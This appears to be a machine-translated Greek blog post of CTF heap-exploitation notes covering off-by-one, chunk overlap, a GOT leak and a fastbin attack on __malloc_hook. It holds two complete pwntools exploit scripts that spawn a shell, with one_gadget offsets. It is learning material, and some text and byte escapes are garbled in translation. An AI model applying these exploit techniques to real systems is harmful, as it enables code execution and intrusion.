τα στοιχεία επικοινωνίας μου
Ταχυδρομείο[email protected]
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
Η βάση του pwn είναι ακόμα πολύ ρηχή. Απλώς καταγράφω λίγη από τη μαθησιακή μου εμπειρία.
Καθώς προχωρά η μελέτη, θα προστεθούν επιπλέον γνώσεις και ερωτήσεις.
Σύνοψη της εκμάθησης για το off από το ZIKH26
Επέκταση κομματιού και επικάλυψη | ctfwiki
Στενά συνδεδεμένο με το off-by-one είναι το Chunk Extend και το Overlapping που αναφέρθηκαν παραπάνω.
Αυτό αναφέρεται συχνά ως "επικαλυπτόμενα μπλοκ".
Γιατί να δημιουργήσετε αλληλοκαλυπτόμενα μπλοκ;
Για παράδειγμα, αν θέλουμε να ξαναγράψουμε τα πεδία κεφαλίδας ενός κομματιού, δηλαδή τα τμήματα prev_size και size, σίγουρα δεν θα μπορούμε να τα αλλάξουμε εφαρμόζοντας απευθείας.
Μια ιδέα είναι να κατασκευάσετε ένα λανθασμένο ψεύτικο κομμάτι.
Νομίζω ότι αυτή η ερώτηση είναι ένα καλό παράδειγμα για το πώς να χρησιμοποιήσετε το off-by-one. Οι ερωτήσεις δεν είναι πολύ δύσκολες και τα σημεία χρήσης είναι αρκετά έξυπνα.
Απομεταγλωττίστε για να βρείτε κενά,
Υπάρχει ένα τεχνητό off-by-one εδώ, και ένα ακόμη byte μπορεί να γραφτεί εδώ.
Επιστρέφοντας στην ανάθεση των θεμάτων,
Αρχικά, εκχωρείται ένα κομμάτι μεγέθους 0x10 για την αποθήκευση ορισμένων πληροφοριών και, στη συνέχεια, εκχωρείται ένα κομμάτι για περιεχόμενο.
Θα είναι πολύ σαφές εάν κοιτάξετε τον εντοπισμό σφαλμάτων gdb εδώ.
Για παράδειγμα, η διάταξη μπλοκ σωρού μετά την προσθήκη(0x28,'0'),add(0x10,'1')
Μπορείτε να δείτε ότι κάθε φορά που προσθέτουμε, θα αποθηκεύουμε πρώτα ένα κομμάτι που αποθηκεύει πληροφορίες μπλοκ σωρών σε χαμηλή διεύθυνση και στη συνέχεια malloc ένα κομμάτι που αποθηκεύει περιεχόμενο.
Μετά παρατήρησα ότι οι λειτουργίες επεξεργασίας και εμφάνισης έχουν ολοκληρωθείΠληροφορίες μπλοκ σωρώνδομή σε "index", τότε αν θέλουμε να διαρρήξουμε libc, μπορούμε να βάλουμε τις πληροφορίες μπλοκ σωρού αυτού του κομματιού *content
Το πεδίο τροποποιείται στη διεύθυνση του πίνακα got μιας συγκεκριμένης συνάρτησης, για παράδειγμα, εάν χρησιμοποιείται atoi σε αυτήν την ερώτηση, τότε το atoi_addr θα εκτυπωθεί κατά την εμφάνιση.
Αυτό περιλαμβάνει μια παρόμοια κατάσταση στο προηγούμενο "Little Understanding". .
Για παράδειγμα, αν το τροποποιήσουμε έτσι, μπορεί στην πραγματικότητα να προκαλέσει την επέκταση και την επικάλυψη των μπλοκ σωρού.
Ας μιλήσουμε για τη συγκεκριμένη χρήση παρακάτω.
Τόσο το μπλοκ σωρού πληροφοριών όσο και το μπλοκ σωρού περιεχομένου θα είναι δωρεάν, επομένως αυτή τη στιγμή υπάρχουν κάδοι δύο μεγεθών 0x20 και 0x40 σε fastbins.
Φυσικά, υπάρχουν ορισμένες λεπτομέρειες, όπως η τελευταία αναφερόμενη επιλογή μεγέθους 0x18 και 0x28, και η ανάγκη κράτησης του περιεχομένου της στοίβας πληροφοριών κατά την τροποποίηση.Μέγεθοςπεδία (διαφορετικά η τελική επεξεργασία δεν θα έχει το μήκος για να γράψει για εσάς) και ούτω καθεξής.
Λήξη:
atoi_got = elf.got['atoi']
add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak
libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
edit(1,p64(system))
sla("Your choice :",b"/bin/shx00")
p.interactive()
Υπάρχει πράγματι ένα άλλο βασικό σημείο σε αυτήν την ερώτηση, και ήταν επίσης το σημείο για το οποίο μπερδεύτηκα στην αρχή. Το αρχικό chunk0 add του EXP του Master ZIKH είναι 0x18 Στη δική μου πρακτική, η αλλαγή του σε 0x10 ή 0x20 δεν λειτούργησε, αλλά η αλλαγή του σε 0x28 λειτούργησε.
Ο εντοπισμός σφαλμάτων διαπίστωσε ότι όταν αλλάξουν σε 0x10, 0x20, τα δεδομένα χρήστη μας δεν θα ενεργοποιήσουν το επόμενο κομμάτι.prev_sizeτου.
Κατά την εκχώρηση 0x18, 0x28, κ.λπ., ο μηχανισμός ptmalloc2 θα επαναχρησιμοποιήσει το τμήμα prev_size του next_chunk.
εμμμ, μάλιστα, σε τελική ανάλυση, δεν είμαι ακόμα αρκετά εξοικειωμένος με το σωρό. Εξάλλου, κοιτάζοντας μόνο την εξήγηση του wiki, υπάρχουν τόσα πολλά σημεία γνώσης και οι λεπτομέρειες είναι περίπλοκες, καθιστώντας δύσκολη τη μνήμη. Φυσικά, το έχω συναντήσει στην πραγματική μάχη. Θα είναι πολύ καλύτερο αφού το διορθώσω και το καταλάβω ξανά.
Το ελάττωμα της ερώτησης είναι εδώ.
Όταν το a2-a1==10 είναι στο if, δηλαδή όταν το μέγεθος που εισάγεται από την επεξεργασία είναι ακριβώς 10 μεγαλύτερο από το μέγεθος που προστέθηκε, υπάρχει ένα off-by-one.
Κατά προσέγγιση δομή κατανομής
Εναλλακτικά, χρησιμοποιήστε το τμήμα bss για να αποθηκεύσετε την εισαγωγή και τη χρήση του κομματιού.*content
Μπορούμε ακόμα να χρησιμοποιήσουμε off-by-one σε συνδυασμό με τα χαρακτηριστικά του μεγέθους 0x?8 επαναχρησιμοποίηση prev_size σε ψεύτικο prev_size και μέγεθος για ενεργοποίηση συγχώνευσης προώθησης (χαμηλή διεύθυνση)
Αυτή τη στιγμή, μπορείτε να δείτε ότι η συγχώνευση ενεργοποιείται από το free(2).
Αυτή τη στιγμή, αν προσθέσουμε(0x80) και μετά εμφανίσουμε(1), μπορούμε πραγματικά να εκτυπώσουμε την τιμή του main_arena+88.
Καταλαβαίνω ότι το add(0x80) εδώ είναι να χωρίσει το unsortedbin, έτσι ώστε ο δείκτης fd (main_arena+88) να μετακινηθεί στο τμήμα chunk1 που μπορεί να εμφανιστεί.
Σε αυτό το σημείο, η βασική διεύθυνση του libc διαρρέει.
Οι ακόλουθες λειτουργίες είναι σαν να περιλαμβάνουν πολλά αλληλοκαλυπτόμενα μπλοκ σωρού, οπότε ας ρίξουμε μια ματιά στον εντοπισμό σφαλμάτων βήμα προς βήμα.
Διάταξη σωρού κατά τη διαρροή libc
add(0x68)
(Κόψτε ένα κομμάτι από τον μη ταξινομημένο κάδο)
free(1)
(fastbin 0x70)
edit(2,p64(malloc_hook-0x23))
(Εδώ εκμεταλλευόμαστε το γεγονός ότι το chunk2 του 0x68 για το οποίο υποβλήθηκε αίτηση στο προηγούμενο βήμα επικαλύπτεται με το chunk1 που μόλις ελευθερώθηκε (το chunk1 υποβλήθηκε αίτηση στην αρχή))
add(0x68)
(Αίτηση για chunk1, είναι στην πραγματικότητα chunk2)
add(0x68)
(Υποβολή αίτησης για επιστροφή του fake_chunk στο malloc_hook-0x23)
Στη συνέχεια, πρέπει να χρησιμοποιήσετε το realloc για να προσαρμόσετε το πλαίσιο στοίβας και μπορείτε να αποκτήσετε το κέλυφος.
Τότε μπορώ να περάσω τοπικά, αλλά όχι εξ αποστάσεως.
Αφού κοίταξα το Master ZIKH's Exp, πρέπει να χρησιμοποιήσω το τοπικό
realloc = libcbase + libc.sym['realloc']
Αλλάζω σεrealloc = libcbase + 0x846c0
Στη συνέχεια, πρέπει να αλλάξετε την τιμή του one_gadget
Αυτά τα δύο one_gadgets έχουν μια μετατόπιση προς το παρόν. (Μάθετε αργότερα)
Παίξτε τοπική Exp:
add(0x80)
add(0x68)
add(0x80)
add(0x10)
free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed) size:0x91->0x90
edit(1,0x68+10,pl)
free(2) # trigger consolidate
add(0x80)
show(1)
leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)
add(0x68)
free(1)
edit(2,8,p64(malloc_hook-0x23)) # fake_chunk
add(0x68)
add(0x68)
pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)
add(0xFF)
p.interactive()
τοπικός:
Ελάχιστα:
Συνοψίζοντας, είναι δύσκολο.